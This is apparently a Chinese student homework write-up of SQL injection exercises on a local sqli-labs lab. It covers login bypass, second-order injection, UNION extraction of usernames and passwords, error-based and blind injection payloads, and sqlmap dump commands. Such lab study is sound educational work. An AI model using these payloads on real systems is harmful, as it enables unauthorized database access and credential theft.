SQL注入作业

embedded/2024/9/23 9:29:17/

目录

一、万能密码和二阶注入测试

1.万能密码

2.二阶注入测试

二、联合查询注入测试

1.判断注入点

2.判断当前查询语句的列数

3.查询数据库基本信息

4.查询数据库中的数据

三、报错注入

1. 报错注入函数EXTRATVALUE 

2.UPDATEXML

 四、盲注测试

1.布尔盲注

判断数据库名字长度

猜解数据库名

获取表的个数

获取第一个表名的长度

获取第一个表名

获取列的个数

获取列的长度

获取列名的第一个字母

2.延时盲注

五、sqlmap


一、万能密码和二阶注入测试

1.万能密码

        万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?

         为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

        而我们的输入其实是

$name  = 8' or 3=3#

        替换后

…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";

        此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。

        当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。

2.二阶注入测试

        所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin

        注册admin'#账号

        如图,现在数据库里面有:

        admin'# 密码是123456

        admin 密码是000000

        我们现在登录我们自己注册的账号:

         我们登录后修改密码,修改密码为999999

        此时我们来登录试试:

         为什么密码错误呢?我们来观察一下数据库:

        可以观察到我们修改的是admin的密码,而不是admin'#的数据。

        实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。

二、联合查询注入测试

1.判断注入点

判断是不是整型:

比如 1 and 1=1 

 

 没有显示结果,说明这不是整型。

而输入1' or '1'='1

说明这是字符型注入。

2.判断当前查询语句的列数

猜测是3列:

猜测是两列:

 

3列没有结果,2列有结果,说明当前查询语句有两列。

3.查询数据库基本信息

admin' union select user() ,database()#

需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。 

4.查询数据库中的数据

获取表名

admin' union select 1,table_name from information_schema.tables where table_schema = database() # 

获取数段名

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #

获取数据

admin' union select username,password from users #

三、报错注入

1. 报错注入函数EXTRATVALUE 

admin' union  select extractvalue(1,concat(0x7e, (select database()),0x7e)) #

2.UPDATEXML

 admin' union  select updatexml(1,concat(0x7e,(select version()),0x7e),1)#

 四、盲注测试

1.布尔盲注

判断数据库名字长度

无回显

有回显

说明可能为8,进行验证:

猜解数据库名

 无回显,再尝试是否大于110

有回显,再尝试是否大于115

无回显,再尝试是否大于113

有回显,再尝试是否大于114

有回显,说明可能是115

查询ascii表,说明该数据库名首字母为's'

获取表的个数

无回显,说明个数小于4

获取第一个表名的长度

无回显

有回显,说明值为6

获取第一个表名

 ?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #

无回显,猜测是否大于100

有回显,猜测是否大于105

无回显,猜测是否大于103

无回显,猜测是否大于102

无回显,猜测是否等于101

查ascii表,表名第一个字母为'e'

获取列的个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #

有31个列

获取列的长度

 ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #

第一列的长度为7

获取列名的第一个字母

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 # 

得到ascii为117,’u'

2.延时盲注

?id=1' and if((length(database()))=8,sleep(4),null)) #

说明数据库名长度为8

?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #

说明第一个字母是's'

五、sqlmap

 python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1 

 --current-db

-D --tables

 

-T --columns

 

-C --dump

 


http://www.ppmy.cn/embedded/11699.html

相关文章

SQL--DDL数据定义语言(Oracle)

文章目录 数据定义语言创建表删除表清空表修改表修改表名,列名修改字段属性添加字段删除字段 数据定义语言 是针对数据库对象操作的语言 数据库对象:表,约束,视图,索引,序列… CREATE ---创建数据库对…

Python Selenium无法打开Chrome浏览器处理自定义浏览器路径

问题 在使用Python Selenium控制Chrome浏览器操作的过程中,由于安装的Chrome浏览器的版本找不到对应版本的驱动chromedriver.exe文件,下载了小几个版本号的驱动软件。发现运行下面的代码是无法正常使用的: from selenium import webdriver …

npm——基本使用

npm全称为Node Package Manager,是Node.js的包管理工具,它允许开发者轻松地安装、更新、卸载以及管理项目依赖的各种JavaScript库和工具。 基本使用方法 安装Node.js和npm 访问Node.js官网(https://nodejs.org/)下载适合您操作系…

深度相机(3D相机)

传统的RGB彩色相机称为2D相机, 只能得到2D的图像信息, 无法得到物体与相机的距离信息,也就是深度信息。 顾名思义, 深度相机除了获取2D信息,还能得到深度信息,也叫RGBD相机, 或3D相机。 顺便提…

开源大模型Llama3,堪比GPT-4。手把手本地安装,纯小白可操作,不需要编程经验,国内可下载,可视化使用。

最近最劲爆科技动态,Meta开源Llama3模型,最强开源模型。 Llama3发布后,扎克伯格亲自给媒体表示“要超越所有人,做最领先AI”。 吴恩达等一众大佬表示祝贺。 在线体验地址:https://www.meta.ai/ 不过国内在线体验基本…

MySql 表中的id突然变很大,如何给id重新排序

目录 一、场景 二、解决方法 一、场景 我们在开发过程中,难免遇到id突然增大的情况。 由于id突然增大很多,我们重新增加数据时候id会默认加1 那么如何让id 重新从1按顺序排序呢 二、解决方法 点击编辑表,然后新建一个字段id2,将…

面向对象设计模式之概念

设计模式系列的观点结合了《HeadFirst设计模式》(中文版)以及《设计模式:可复用面向对象软件的基础》两本书的知识,以及Sunny(刘伟)的博客 《HeadFirst设计模式》(中文版): 百度网盘链接:https://pan.baidu.com/s/1osvnUGZZREm8Jb…

每日一题:Spring MVC 的执行流程是什么❓

1、用户通过浏览器向服务器发送服务请求,请求会被 Spring MVC 的前端控制器 DispatcherServlet 拦截。 2、DsipatcherServlet 拦截请求后,会调用 HandlerMapping 处理器处理映射。 3、处理器根据URL找到具体的处理器,生成处理器对象及处理器…